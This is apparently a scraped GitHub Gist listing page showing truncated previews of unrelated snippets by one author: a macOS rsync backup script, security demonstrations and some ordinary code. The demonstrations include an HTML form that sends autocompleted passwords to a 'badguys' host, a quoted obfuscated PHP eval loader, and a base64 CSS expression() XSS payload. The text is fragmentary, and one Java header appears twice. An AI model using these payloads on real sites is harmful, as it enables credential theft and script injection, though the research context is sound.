Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

@koto
koto / rsync_backup
Created January 16, 2012 20:35
OSX Snow Leopard bootable backup script with FileVault support (backup will be unencrypted!)
#!/bin/sh
PROG=$0
# use macports rsync 3.x - Apple's 2.6 hung on sockets
RSYNC="/opt/local/bin/rsync"
SRC="/"
DST="/Volumes/Backup/"
FILEVAULT_ACCT="Users/yourusername"
# rsync options
<form action="//same-origin">
<input name=login>
<input name=password type=password>
.<!-- this will probably be autocompleted -->
<button type=submit form-action="//badguys">clickme</button>
</form>
@koto
koto / 1.php
Created September 19, 2011 22:34
Fighting inception obfuscation
<?php
// I got this file once
eval(gzinflate(str_rot13(base64_decode('HJ3FkqzYAlI/52gEA9yGuHjikw7cNfGvf0w...60KB.of.code...z///Oe/7/W/fwE=')))); ?>
}@import/**/data:text/css%3Bbase64%2CKnt4OmV4cHJlc3Npb24od2luZG93Lng%2FMDphbGVydCgxKSx3aW5kb3cueD0xKX0%3D;
<?php
// prepare options
$a = array(
'top 1' => array(
'sub 1' => 100,
'sub 2' => array('sub sub 1' => 101, 'sub sub 2' => 102),
),
'top 2' => 103
);
import java.io.UnsupportedEncodingException;
import java.security.GeneralSecurityException;
import javax.crypto.Cipher;
import javax.crypto.spec.DESedeKeySpec;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
/**
* Helper class for encrypting and decrypting payloads using arbitrary string passphrases.
import java.io.UnsupportedEncodingException;
import java.security.GeneralSecurityException;
import javax.crypto.Cipher;
import javax.crypto.spec.DESedeKeySpec;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
/**
* Helper class for encrypting and decrypting payloads using arbitrary string passphrases.
Misia jest cudowna :*